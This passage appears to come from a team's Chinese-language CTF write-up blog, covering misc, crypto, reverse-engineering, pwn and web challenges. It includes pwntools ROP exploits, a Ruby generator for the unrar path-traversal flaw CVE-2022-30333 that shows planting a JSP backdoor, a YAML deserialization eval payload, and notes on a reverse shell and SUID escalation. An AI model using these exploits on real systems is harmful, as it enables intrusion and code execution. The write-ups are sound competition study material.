a[maxn],ans1,ans2;​ vector \u0026lt;LL\u0026gt; V[maxn],pre[maxn];​ int main()​ {​ freopen(\u0026#34;input.txt\u0026#34;,\u0026#34;r\u0026#34;,stdin);​ n=read();k=read();​ for(int i=0;i\u0026lt;n;i++)a[i]=read(),V[i%k].push_back(a[i]);​ for(int i=0;i\u0026lt;k;i++)sort(V[i].begin(),V[i].end());​ for(int i=0;i\u0026lt;k;i++){​ LL tmp=0;​ for(auto u: V[i]){​ tmp+=u;​ pre[i].push_back(tmp);​ }​ }​ for(int i=0;i\u0026lt;k;i++){​ LL now_ans=pre[i][V[i].size()-1];​ for(int j=2;j\u0026lt;=V[i].size();j+=2){​ now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);​ }​ ans1+=now_ans;​ }​ for(int i=0;i\u0026lt;k;i++){​ LL now_ans=pre[i][V[i].size()-1]-2*pre[i][0];​ for(int j=3;j\u0026lt;=V[i].size();j+=2){​ now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);​ }​ ans2+=now_ans;​ }​ printf(\u0026#34;%lld\\n\u0026#34;,max(ans1,ans2));​ return 0;​ }​ from pwn import *​ import re​ import os​ ​ r = remote(\u0026#34;172.51.223.76\u0026#34;,9999)​ ​ ​ print(r.recv())​ ​ for i in range(100):​ s = str(r.recvuntil(b\u0026#34;Challenge Input:\u0026#34;))​ ss = r.recvuntil(b\u0026#34;Give me your output\u0026#34;)​ with open(\u0026#39;input.txt\u0026#39;,\u0026#39;wb\u0026#39;) as f:​ f.write(ss)​ f.close()​ ​ ans = os.popen(\u0026#34;.\\\\a.exe\u0026#34;).read().strip() # gcc编译sol.cpp得到a.exe​ print(ans)​ r.sendline(ans.encode())​ print(r.recv())​ print(r.recv()) Babymisc​ 猜数问题，需要在15步之内猜出一个六位数，可以采用二分法。​ 由于六位数二分法最多需要19次才能完全猜中，因此无法在100000-999999范围内猜。可以找一个长度为20000-30000的范围进行查找，若答案落在该范围内，则在15步内可以精确命中。​ 多运行几次脚本，直至某一次答案落在范围内即可。\nfrom pwn import *​ context.log_level=\u0026#34;debug\u0026#34;​ import os​ while True:​ r = remote(\u0026#34;172.51.223.233\u0026#34;,9999)​ r.recvuntil(b\u0026#34;select start\\n\u0026gt;\u0026#34;)​ r.sendline(\u0026#39;Y\u0026#39;.encode())​ left = 500000​ right = 530000​ low, up = False, False​ s = str(r.recvuntil(b\u0026#34;enter a number:\u0026#34;))​ k = (left + right) // 2​ r.sendline(str(k).encode())​ for i in range(14):​ s = str(r.recvuntil(b\u0026#34;enter a number:\u0026#34;))​ if \u0026#34;low\u0026#34; in s:​ left = k​ low = True​ else:​ right = k​ up = True​ k = (left + right) // 2​ r.sendline(str(k).encode())​ res = str(r.recv())​ print(up, low)​ if up == True and low == True:​ break​ if not \u0026#34;lost\u0026#34; in res:​ print(res)​ break Crypto weekrandom 运行下源程序发现每一轮随机数result的后四位和x的后四位一样，前四位是sha256(x)哈希结果的[-8:-4]切片，x的十六进制串大概只有8-9位。​ 因此先随机交个数拿到第一个result，在0-0xfffff中爆破x的前五位和result后四位拼一下，算sha256的[-8:-4]是否等于result的前四位。​ 只算一轮的话可能有多个x满足条件，可以再提交一个数得到第二轮可能的x，看看第一轮的所有可能的值i中是否有一个i满足(i^2//100) % 10000000000在第二轮可能的值中，即可找到x链。\nfrom pwn import *​ from hashlib import sha256​ from re import findall​ ​ ​ def next(x):​ x = int((x ** 2) // (10 ** (4 // 2))) % 10000000000​ high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) \u0026gt;\u0026gt; 16) \u0026amp; (2 ** 16 - 1)​ low = x \u0026amp; (2 ** 16 - 1)​ result = high \u0026lt;\u0026lt; 16 | low​ return x,result​ ​ ​ ​ r = remote(\u0026#34;172.51.223.64\u0026#34;,9998)​ alp = \u0026#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\u0026#34;​ ​ Pow = str(r.recv())​ ​ given = Pow[14:30]​ target = Pow[35:-18]​ ​ for i in alp:​ for j in alp:​ for k in alp:​ for l in alp:​ if sha256((i+j+k+l+given).encode()).hexdigest() == target:​ r.sendline((i+j+k+l).encode())​ break​ ​ print(i+j+k+l)​ s = r.recv()​ print(s)​ ​ r.sendline(\u0026#39;1\u0026#39;.encode())​ ininum = int(findall(\u0026#39;\\d+\u0026#39;,str(r.recv()))[0])​ print(ininum)​ xlow = hex(ininum)[2:].zfill(8)[4:]​ thash = hex(ininum)[2:].zfill(8)[:4]​ pos1 = []​ for i in range(0xfffff):​ x = int(hex(i)[2:].zfill(5) + xlow,16)​ allhash = hashlib.sha256(str(x).encode()).hexdigest()​ if allhash[-8:-4] == thash:​ pos1.append(x)​ ​ print(pos1)​ ​ r.sendline(\u0026#39;1\u0026#39;.encode())​ ininum = int(findall(\u0026#39;\\d+\u0026#39;,str(r.recv()))[0])​ print(ininum)​ xlow = hex(ininum)[2:].zfill(8)[4:]​ thash = hex(ininum)[2:].zfill(8)[:4]​ pos2 = []​ for i in range(0xfffff):​ x = int(hex(i)[2:].zfill(5) + xlow,16)​ allhash = hashlib.sha256(str(x).encode()).hexdigest()​ if allhash[-8:-4] == thash:​ pos2.append(x)​ ​ print(pos2)​ ​ for i in pos1:​ if (i**2 // 100) % 10000000000 in pos2:​ inix = i​ break​ ​ print(inix)​ ​ ​ res = []​ for i in range(100):​ inix,result = next(inix)​ if i != 0:​ res.append(result)​ ​ for i in range(98):​ r.sendline(str(res[i]).encode())​ print(r.recv()) Reverse Indir 通过给的附件，加上分析发现是虚拟机，有一大堆跳转混淆，将寄存器跳转改为真实地址跳转，main函数如下​ 虚拟机解析过程在sub_402780​ 分析写出反汇编器​\nctx=open(\u0026#39;code\u0026#39;,\u0026#39;rb\u0026#39;).read()​ # for i in range(0,0x35c,4):​ # instr=int.from_bytes(ctx[i:i+4],\u0026#39;little\u0026#39;)​ # datatype=(instr\u0026gt;\u0026gt;22)\u0026amp;7​ # if datatype!=6 and datatype!=5 and datatype!=3:​ # print(i,datatype)​ disasm=\u0026#39;\u0026#39;​ for i in range(0,0x35c,4):​ instr=int.from_bytes(ctx[i:i+4],\u0026#39;little\u0026#39;)​ mnemonic=(instr\u0026gt;\u0026gt;25)\u0026amp;0xf​ datatype=(instr\u0026gt;\u0026gt;22)\u0026amp;7​ opstr=\u0026#39;\u0026#39;​ disasm+=str(i)+\u0026#39;: \u0026#39;​ if mnemonic==0:​ disasm+=\u0026#39;ror\u0026#39;​ elif mnemonic==1:​ disasm+=\u0026#39;ld\u0026#39;​ elif mnemonic==2:​ disasm+=\u0026#39;io\u0026#39;​ elif mnemonic==3:​ disasm+=\u0026#39;sub\u0026#39;​ elif mnemonic==4:​ disasm+=\u0026#39;mod\u0026#39;​ elif mnemonic==5:​ disasm+=\u0026#39;div\u0026#39;​ elif mnemonic==6:​ disasm+=\u0026#39;mov\u0026#39;​ elif mnemonic==7:​ disasm+=\u0026#39;rsh\u0026#39;​ elif mnemonic==8:​ disasm+=\u0026#39;st\u0026#39;​ elif mnemonic==9:​ disasm+=\u0026#39;ret\u0026#39;​ elif mnemonic==10:​ disasm+=\u0026#39;lsh\u0026#39;​ elif mnemonic==11:​ disasm+=\u0026#39;add\u0026#39;​ elif mnemonic==12:​ disasm+=\u0026#39;mul\u0026#39;​ elif mnemonic==13:​ disasm+=\u0026#39;call\u0026#39;​ elif mnemonic==14:​ disasm+=\u0026#39;rol\u0026#39;​ elif mnemonic==15:​ disasm+=\u0026#39;jmp\u0026#39;​ ​ if mnemonic!=13:​ disasm+=\u0026#39;\\t\u0026#39;​ ​ if datatype==3:​ imm=(instr\u0026gt;\u0026gt;6)\u0026amp;0xffff​ opstr=str(imm)​ elif datatype==5:​ r1=(instr\u0026gt;\u0026gt;19)\u0026amp;7​ imm=(instr\u0026gt;\u0026gt;3)\u0026amp;0xffff​ r2=(instr)\u0026amp;7​ opstr=\u0026#39;r\u0026#39;+str(r1)+\u0026#39;,\u0026#39;+str(imm)​ elif datatype==6:​ r1=(instr\u0026gt;\u0026gt;19)\u0026amp;7​ r2=(instr\u0026gt;\u0026gt;16)\u0026amp;7​ imm=(instr)\u0026amp;0xffff​ opstr=\u0026#39;r\u0026#39;+str(r1)+\u0026#39;,r\u0026#39;+str(r2)+\u0026#39;,\u0026#39;+str(imm)​ elif datatype==7:​ r1=(instr\u0026gt;\u0026gt;19)\u0026amp;7​ r2=(instr\u0026gt;\u0026gt;16)\u0026amp;7​ r3=(instr\u0026gt;\u0026gt;13)\u0026amp;7​ opstr=\u0026#39;r\u0026#39;+str(r1)+\u0026#39;,r\u0026#39;+str(r2)+\u0026#39;,r\u0026#39;+str(r3)​ ​ disasm+=\u0026#39;\\t\u0026#39;+opstr+\u0026#39;\\n\u0026#39;​ ​ open(\u0026#39;disas\u0026#39;,\u0026#39;w\u0026#39;).write(disasm) 得到反汇编代码，分析即可得解​\n0: mov r0,860​ 4: call 740 #输出​ 8: mov r0,4096​ 12: call 692​ 16: mov r0,4096​ 20: mov r1,0​ 24: mul r2,r1,4​ 28: ld r3,r0,r2​ 32: add r4,r1,6​ 36: mod r4,r4,16​ 40: mul r4,r4,4​ 44: ld r5,r0,r4​ 48: ror r5,r5,6​ 52: sub r3,r3,r5​ 56: st r3,r0,r2​ 60: add r1,r1,1​ 64: mul r2,r1,4​ 68: ld r3,r0,r2​ 72: add r4,r1,8​ 76: mod r4,r4,16​ 80: mul r4,r4,4​ 84: ld r5,r0,r4​ 88: rol r5,r5,4​ 92: add r3,r3,r5​ 96: st r3,r0,r2​ 100: add r1,r1,1​ 104: mul r2,r1,4​ 108: ld r3,r0,r2​ 112: add r4,r1,10​ 116: mod r4,r4,16​ 120: mul r4,r4,4​ 124: ld r5,r0,r4​ 128: rol r5,r5,5​ 132: add r3,r3,r5​ 136: st r3,r0,r2​ 140: add r1,r1,1​ 144: mul r2,r1,4​ 148: ld r3,r0,r2​ 152: add r4,r1,1​ 156: mod r4,r4,16​ 160: mul r4,r4,4​ 164: ld r5,r0,r4​ 168: rol r5,r5,3​ 172: add r3,r3,r5​ 176: st r3,r0,r2​ ​ 180: add r1,r1,1​ 184: mul r2,r1,4​ 188: ld r3,r0,r2​ 192: add r4,r1,4​ 196: mod r4,r4,16​ 200: mul r4,r4,4​ 204: ld r5,r0,r4​ 208: rol r5,r5,10​ 212: add r3,r3,r5​ 216: st r3,r0,r2​ ​ 220: add r1,r1,1​ 224: mul r2,r1,4​ 228: ld r3,r0,r2​ 232: add r4,r1,10​ 236: mod r4,r4,16​ 240: mul r4,r4,4​ 244: ld r5,r0,r4​ 248: ror r5,r5,9​ 252: sub r3,r3,r5​ 256: st r3,r0,r2​ ​ 260: add r1,r1,1​ 264: mul r2,r1,4​ 268: ld r3,r0,r2​ 272: add r4,r1,2​ 276: mod r4,r4,16​ 280: mul r4,r4,4​ 284: ld r5,r0,r4​ 288: ror r5,r5,2​ 292: sub r3,r3,r5​ 296: st r3,r0,r2​ ​ 300: add r1,r1,1​ 304: mul r2,r1,4​ 308: ld r3,r0,r2​ 312: add r4,r1,2​ 316: mod r4,r4,16​ 320: mul r4,r4,4​ 324: ld r5,r0,r4​ 328: rol r5,r5,12​ 332: add r3,r3,r5​ 336: st r3,r0,r2​ ​ 340: add r1,r1,1​ 344: mul r2,r1,4​ 348: ld r3,r0,r2​ 352: add r4,r1,7​ 356: mod r4,r4,16​ 360: mul r4,r4,4​ 364: ld r5,r0,r4​ 368: ror r5,r5,1​ 372: sub r3,r3,r5​ 376: st r3,r0,r2​ ​ 380: add r1,r1,1​ 384: mul r2,r1,4​ 388: ld r3,r0,r2​ 392: add r4,r1,5​ 396: mod r4,r4,16​ 400: mul r4,r4,4​ 404: ld r5,r0,r4​ 408: ror r5,r5,11​ 412: sub r3,r3,r5​ 416: st r3,r0,r2​ ​ 420: add r1,r1,1​ 424: mul r2,r1,4​ 428: ld r3,r0,r2​ 432: add r4,r1,1​ 436: mod r4,r4,16​ 440: mul r4,r4,4​ 444: ld r5,r0,r4​ 448: ror r5,r5,10​ 452: sub r3,r3,r5​ 456: st r3,r0,r2​ ​ 460: add r1,r1,1​ 464: mul r2,r1,4​ 468: ld r3,r0,r2​ 472: add r4,r1,1​ 476: mod r4,r4,16​ 480: mul r4,r4,4​ 484: ld r5,r0,r4​ 488: rol r5,r5,6​ 492: add r3,r3,r5​ 496: st r3,r0,r2​ ​ 500: add r1,r1,1​ 504: mul r2,r1,4​ 508: ld r3,r0,r2​ 512: add r4,r1,8​ 516: mod r4,r4,16​ 520: mul r4,r4,4​ 524: ld r5,r0,r4​ 528: ror r5,r5,15​ 532: sub r3,r3,r5​ 536: st r3,r0,r2​ ​ 540: add r1,r1,1​ 544: mul r2,r1,4​ 548: ld r3,r0,r2​ 552: add r4,r1,11​ 556: mod r4,r4,16​ 560: mul r4,r4,4​ 564: ld r5,r0,r4​ 568: ror r5,r5,8​ 572: sub r3,r3,r5​ 576: st r3,r0,r2​ ​ 580: add r1,r1,1​ 584: mul r2,r1,4​ 588: ld r3,r0,r2​ 592: add r4,r1,13​ 596: mod r4,r4,16​ 600: mul r4,r4,4​ 604: ld r5,r0,r4​ 608: rol r5,r5,1​ 612: add r3,r3,r5​ 616: st r3,r0,r2​ ​ 620: add r1,r1,1​ 624: mul r2,r1,4​ 628: ld r3,r0,r2​ 632: add r4,r1,14​ 636: mod r4,r4,16​ 640: mul r4,r4,4​ 644: ld r5,r0,r4​ 648: ror r5,r5,1​ 652: sub r3,r3,r5​ 656: st r3,r0,r2​ ​ 660: add r1,r1,1​ 664: mov r0,4096​ 668: mov r1,912​ 672: mov r2,64​ 676: call 112​ 680: sub r0,r0,0​ 684: jmp 8​ 688: mov r0,884​ 692: jmp 4​ 696: mov r0,894​ 700: call 44​ 704: io 2​ ​ 708: mov r6,r0,r0​ 712: mov r5,r0,r0​ 716: io 0​ 720: sub r1,r0,10​ 724: jmp 8​ 728: sub r0,r5,r6​ 732: ret r0,r0,r0​ 736: st r0,r6,0​ 740: add r6,r6,1​ 744: jmp 65504​ ​ 748: mov r6,r0,r0​ 752: ld r0,r6,0​ 756: rsh r1,r0,8​ 760: lsh r1,r1,8​ 764: sub r0,r0,r1​ 768: sub r1,r0,0​ 772: jmp 4​ 776: ret r0,r0,r0​ 780: io 1​ 784: add r6,r6,1​ 788: jmp 65496​ ​ 792: mov r3,0​ 796: jmp 44​ 800: ld r4,r0,r3​ 804: rsh r5,r4,8​ 808: lsh r6,r5,8​ 812: sub r4,r4,r6​ 816: ld r5,r1,r3​ 820: rsh r6,r5,8​ 824: lsh r7,r6,8​ 828: sub r5,r5,r7​ 832: sub r4,r4,r5​ 836: jmp 12​ 840: add r3,r3,1​ 844: sub r4,r3,r2​ 848: jmp 65484​ 852: mov r0,r4,r0​ 856: ret r0,r0,r0​ def ror(a,b):​ return (a\u0026gt;\u0026gt;b)|((a\u0026lt;\u0026lt;(32-b))\u0026amp;0xffffffff)​ ​ def rol(a,b):​ return ((a\u0026lt;\u0026lt;b)\u0026amp;0xffffffff)|(a\u0026gt;\u0026gt;(32-b))​ ​ enc=open(\u0026#39;code\u0026#39;,\u0026#39;rb\u0026#39;).read()[0x390:0x3d0]​ enc=[int.from_bytes(enc[i:i+4],\u0026#39;little\u0026#39;) for i in range(0,64,4)]​ enc[15]+=ror(enc[13],1)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[14]-=rol(enc[11],1)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[13]+=ror(enc[8],8)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[12]+=ror(enc[4],15)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[11]-=rol(enc[12],6)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[10]+=ror(enc[11],10)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[9]+=ror(enc[14],11)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[8]+=ror(enc[15],1)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[7]-=rol(enc[9],12)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[6]+=ror(enc[8],2)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[5]+=ror(enc[15],9)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[4]-=rol(enc[8],10)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[3]-=rol(enc[4],3)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[2]-=rol(enc[12],5)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[1]-=rol(enc[9],4)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[0]+=ror(enc[6],6)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ print(list(map(hex,enc)))​ from libnum import n2s​ print(b\u0026#39;\u0026#39;.join(list(map(n2s,enc))))​ k = \u0026#34;}ll4c_7c3r1dn1_dn4_hcn4rb_7c3r1dn1_h71w_mv{galf\u0026#34;[::-1]​ print(k)​ s=[0]*20​ i=0​ # s[0]-=s[6]\u0026gt;\u0026gt;\u0026gt;6​ # s[1]+=s[9]\u0026lt;\u0026lt;\u0026lt;4​ # s[2]+=s[12]\u0026lt;\u0026lt;\u0026lt;5​ # s[3]+=s[4]\u0026lt;\u0026lt;\u0026lt;3​ # s[4]+=s[8]\u0026lt;\u0026lt;\u0026lt;10​ # s[5]-=s[15]\u0026gt;\u0026gt;\u0026gt;9​ # s[6]-=s[8]\u0026gt;\u0026gt;\u0026gt;2​ # s[7]+=s[9]\u0026lt;\u0026lt;\u0026lt;12​ # s[8]-=s[15]\u0026gt;\u0026gt;\u0026gt;1​ # s[9]-=s[14]\u0026gt;\u0026gt;\u0026gt;11​ # s[10]-=s[11]\u0026gt;\u0026gt;\u0026gt;10​ # s[11]+=s[12]\u0026lt;\u0026lt;\u0026lt;6​ # s[12]-=s[4]\u0026gt;\u0026gt;\u0026gt;15​ # s[13]-=s[8]\u0026gt;\u0026gt;\u0026gt;8​ # s[14]+=s[11]\u0026lt;\u0026lt;\u0026lt;1​ # s[15]-=s[13]\u0026gt;\u0026gt;\u0026gt;1 comeongo 动态调试分析代码即可知道，源代码分为两处check：maincheck1和maincheck2，第一处check将用户名前八字节和密码前八字节进行base58，即main_runtime_Encoding函数​ main_check2首先将用户名8~12字节+字符‘vG’+密码10~12字节拼接做base64，即main_Encoding函数​,再做一些字符ascii值加减，即main_encryptBytes函数，最后比较​ 提取对应字符​\nuser=\u0026#39;GoM0bi13\u0026#39;+\u0026#39;_BingGo@\u0026#39;​ psw=\u0026#39;G3tItEzF\u0026#39;+\u0026#39;orRevG0!\u0026#39;​ print(user)​ print(psw) 输入验证​,然后求出md5即可​\nMimic pwn1 from pwn import *​ ​ context.log_level = \u0026#39;debug\u0026#39;​ # context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;, \u0026#39;-F\u0026#39;, \u0026#39;#{pane_pid}\u0026#39;, \u0026#39;-P\u0026#39;]​ ​ p = process(\u0026#39;./pwn1\u0026#39;)​ ​ getshell_addr = 0x0A00​ func_func_addr = 0x0A94​ ​ pop_rdi_ret = 0xc73​ call_system = 0xa2c​ binsh_addr = 0x202068​ ​ p.recvuntil(b\u0026#39;try something\\n\u0026#39;)​ p.sendline(b\u0026#39;1\u0026#39;)​ ​ p.recvuntil(b\u0026#39;some tricks\\n\u0026#39;)​ func_addr = p.recvline()​ func_addr = int(func_addr.strip(), 16)​ print (f\u0026#39;func_addr: {hex(func_addr)}\u0026#39;)​ ​ base_addr = func_addr - func_func_addr​ ​ p.sendline(b\u0026#39;2\u0026#39;)​ p.recvuntil(b\u0026#39;hello\u0026#39;)​ ​ p.sendline(b\u0026#39;a\u0026#39; * 0xc8)​ p.recvline()​ p.recvline()​ canary = p.recv(7)​ print (f\u0026#39;canary: {canary}\u0026#39;)​ gdb.attach(p, \u0026#39;b *$rebase(0xb03)\u0026#39;)​ ​ payload = p64(base_addr + pop_rdi_ret)​ payload += p64(base_addr + binsh_addr)​ payload += p64(base_addr + call_system)​ ​ p.sendline(b\u0026#39;a\u0026#39; * 0xc8 + b\u0026#39;\\x00\u0026#39; + canary + b\u0026#39;b\u0026#39; * 8 + payload)​ ​ p.interactive() pwn1-1 +---------------+​\r|. index. |​\r+---------------+​\r| buffer |​\r+---------------+​\r|. \u0026amp;buffer. |​\r+---------------+​\r| \u0026amp;index. |​\r+---------------+ 泄漏\u0026amp;buffer​ 修改\u0026amp;buffer同时修改\u0026amp;index​ 写入payload\nfrom pwn import *​ ​ context.log_level = \u0026#39;debug\u0026#39;​ context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;, \u0026#39;-F\u0026#39;, \u0026#39;#{pane_pid}\u0026#39;, \u0026#39;-P\u0026#39;]​ ​ p = process(\u0026#39;./pwn1-1\u0026#39;)​ ​ func_func_addr = 0x12A0​ pop_rdi_ret = 0x1943​ call_system = 0x11A2​ binsh_addr = 0x4050​ ​ p.recvuntil(b\u0026#39;try something\\n\u0026#39;)​ p.sendline(b\u0026#39;1\u0026#39;)​ ​ p.recvuntil(b\u0026#39;some tricks\\n\u0026#39;)​ func_addr = p.recvline()​ func_addr = int(func_addr.strip(), 16)​ print (f\u0026#39;func_addr: {hex(func_addr)}\u0026#39;)​ ​ base_addr = func_addr - func_func_addr​ ​ p.sendline(b\u0026#39;2\u0026#39;)​ p.recvuntil(b\u0026#39;hello\u0026#39;)​ ​ gdb.attach(p, \u0026#39;b *$rebase(0x1423)\u0026#39;)​ p.sendline(b\u0026#39;a\u0026#39; * (0xe0 - 1))​ p.recvline()​ p.recvline()​ buf_value = u64(p.recv(6) + b\u0026#39;\\x00\\x00\u0026#39;)​ print (f\u0026#39;buf = {hex(buf_value)}\u0026#39;)​ ​ payload = p64(base_addr + pop_rdi_ret)​ payload += p64(base_addr + binsh_addr)​ payload += p64(base_addr + call_system)​ # p.sendline(payload)​ p.sendline(p64(1) + b\u0026#39;a\u0026#39; * (0xe0 - 8) + p64(buf_value + 0xf8) + p64(buf_value) + b\u0026#39;b\u0026#39; * 8 + payload)​ # p.recvline()​ ​ p.interactive() web_mimic Ctrl+U在源码中看到NTLM hash和encrypt word，NTLM hash在线解密得到密钥123，DES在线解密密文得到以下信息：​\n1.maybe used first url get random:​\r/mimic_storage​\r​\r​\r2.maybe used second url get flag:​\r/getflag?sec=random\u0026amp;path=xxxx​\r​\rxxx is:​\rbAzlsD1ChiFW5eMC5tUokHErPkdjqARE 按照步骤拿到random、xxx，url传参拿到flag。​\n","date":"2022-11-07T19:00:00+08:00","permalink":"https://or4ngesec.github.io/post/qwnt-writeup-by-or4nge/","title":"“强网”拟态 Writeup by or4nge"},{"content":"Web web669 审源码，发现存在路径穿越（双写绕过过滤）； 读/etc/hosts，找到secret-key为engine-1，用flask-session-manager跑出来管理员的session 文件上传unrar任意写漏洞（CVE-2022-30333），ruby脚本跑一下，上传。注意md5值。\nrequire \u0026#39;zlib\u0026#39; if ARGV.length != 2 $stderr.puts \u0026#34;Usage: ruby ./create-payload \u0026lt;../../target/file\u0026gt; \u0026lt;filename to read payload from\u0026gt;\u0026#34; $stderr.puts $stderr.puts \u0026#34;Eg: $ ruby ./create-payload.rb \u0026#39;../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp\u0026#39; ./reverse-tcp-4444.jsp\u0026#34; exit end SYMLINK_LENGTH = 0x68 PAYLOAD_SYMLINK = (ARGV[0] + \u0026#34;\\0\u0026#34;).ljust(SYMLINK_LENGTH, \u0026#34;\\0\u0026#34;).gsub(\u0026#39;/\u0026#39;, \u0026#39;\\\\\u0026#39;) if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH $stderr.puts \u0026#34;Payload symlink is invalid, probably too long!\u0026#34; exit end PAYLOAD_LENGTH = 0x1000 PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, \u0026#34;\\0\u0026#34;) if PAYLOAD_DATA.length != PAYLOAD_LENGTH $stderr.puts \u0026#34;Payload data is invalid, probably too long!\u0026#34; exit end FILENAME_LENGTH = 0x0c FILENAME = \u0026#34;DONTLOOKATME\u0026#34; RAR = \u0026#34;\\x52\\x61\\x72\\x21\\x1a\\x07\\x01\\x00\\xf3\\xe1\\x82\\xeb\\x0b\\x01\\x05\\x07\\x00\\x06\\x01\\x01\\x80\\x80\\x80\\x00\\x9e\\xe2\\xc4\\xf5\\x94\\x01\\x02\\x03\\x78\\x00\\x04\\x00\\xa0\\x08\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x0c\u0026#34; RAR.concat(FILENAME) # Symlink filename RAR.concat(\u0026#34;\\x0a\\x03\\x02\\xae\\xf0\\x37\\x1c\\x91\\x98\\xd8\\x01\\x6c\\x05\\x02\\x00\\x68\u0026#34;) RAR.concat(PAYLOAD_SYMLINK) RAR.concat(\u0026#34;\\xf3\\xa1\\x93\\x68\\x28\\x02\\x03\\x0b\\x80\\x20\\x04\\x80\\x20\\x20\u0026#34;) RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack(\u0026#39;V\u0026#39;)) RAR.concat(\u0026#34;\\x80\\x00\\x00\\x0c\u0026#34;) RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it) RAR.concat(\u0026#34;\\x0a\\x03\\x02\\x00\\x36\\xe3\\x00\\x91\\x98\\xd8\\x01\u0026#34;) RAR.concat(PAYLOAD_DATA) RAR.concat(\u0026#34;\\x1d\\x77\\x56\\x51\\x03\\x05\\x04\\x00\u0026#34;) print RAR ruby ./cve-2022-30333.rb \u0026#39;../../../../fileinfo/ebfcb737ca3d64fc30f0e589007d4f58.yaml\u0026#39; ./test.yaml \u0026gt; 3.rar 左右括号和system用编码绕，tuple用bytes绕\n!!python/object/new:bytes - !!python/object/new:map - !!python/name:eval - [\u0026#34;__import__\\x28\u0026#39;os\u0026#39;\\x29.\\x73ystem\\x28\u0026#39;【command】\u0026#39;\\x29\u0026#34;] 访问/payload?display=3 反弹shell\nfind / -user root -perm -4000 -print 2\u0026gt;/dev/null 看到dd有suid dd if=/flag即可\nPwn pwn497 非预期做法，在文件系统里漫游尝试到一个可执行文件/lib/systemd/systemd-modules-load，使用它执行flag即可得解\n/lib/systemd/systemd-modules-load flag Crypto crypto091 查询可得1709号段为联通的最初号码，用以下脚本爆破可得答案。\nimport hashlib hv = \u0026#39;c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc\u0026#39; i = 0 while True: psw = \u0026#39;861709\u0026#39; psw += str(i).zfill(7) m = hashlib.sha256() m.update(psw.encode()) res = m.hexdigest() print(psw, res) if res == hv: break i += 1 crypto405 用脚本处理txt\nf = open(\u0026#39;output.txt\u0026#39;, \u0026#39;r\u0026#39;) l = [] for i in range(41): rl = f.readline() numStr = rl[15:19] l.append(int(numStr, 16)) 由提示flag{为前5字符，未知数也有5个，可通过方程得$k$参数。$p$不知道，但范围只有30000+，尝试爆破，后来发现$p$至少大于57000，由$\\mod p$后的最大值可得，爆破范围只有8000+，爆破即得答案。\nrl = [8294, 41506, 52145, 56244, 57012, 45509, 13220, 49233, 15225, 27640, 8497, 11328, 37306, 31556, 24357, 520, 32475, 25269, 52933, 23219, 15430, 49778, 29003, 40459, 18670, 17612, 1440, 15779, 4529, 9631, 35229, 41264, 58767, 9203, 22569, 27627, 13953, 84, 41353, 10085, 50749] def MillerRabinTest(p, k=10): from random import randint if p \u0026lt; 2: return False if p \u0026lt;= 3: return True if p \u0026amp; 1 == 0: return False s = 0 m = p - 1 while m and m \u0026amp; 1 == 0: s += 1 m \u0026gt;\u0026gt;= 1 for j in range(k): randomi = randint(2, p - 2) if gcd(randomi, p) != 1: return False b = pow(randomi, m, p) if b == 1 or b == p - 1: continue for i in range(s - 1): b = pow(b, 2, p) if b == 1: return False if b == p - 1: break else: return False return True rn = [ord(\u0026#39;f\u0026#39;), ord(\u0026#39;l\u0026#39;), ord(\u0026#39;a\u0026#39;), ord(\u0026#39;g\u0026#39;), ord(\u0026#39;{\u0026#39;)] p = 57000 while True: flag=\u0026#39;\u0026#39; if MillerRabinTest(p): eqs=[] kt=[] kl=[] R=GF(p) k=list(var(\u0026#39;k_%d\u0026#39;%i) for i in range(5)) for i in range(5): kt.append(k[i]) for i in range(5): if i!=0: kt[0]=rn[i-1]*kt[0] kt[1]*=kt[0] kt[2]*=kt[1] kt[3]*=kt[2] kt[4]*=kt[3] le=rn[i]*kt[0]*kt[1]*kt[2]*kt[3]*kt[4] equ=(le==rl[i]) eqs.append(equ) res=solve(eqs,k,solution_dict=True) for i in range(5): tmp=res[0][k[i]] ktmp=R(tmp.numerator())*R(tmp.denominator())^(-1) kl.append(ktmp) pd=0 for i in range(41): ks=kl[0]*kl[1]*kl[2]*kl[3]*kl[4] cr=R(rl[i])*(ks)^(-1) flag+=str(chr(int(cr))) if 31\u0026lt;cr\u0026lt;128: kl[0]=cr*kl[0] kl[1]*=kl[0] kl[2]*=kl[1] kl[3]*=kl[2] kl[4]*=kl[3] else: pd=1 print(i) break if pd==0: print(kl) print(p) print(flag) break print(p) p += 1 crypto162 递推可划为矩阵乘法。正向是矩阵乘法。 矩阵乘法有$O(log n)$级的算法。故可以解决。 矩阵快速幂：\ncof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], 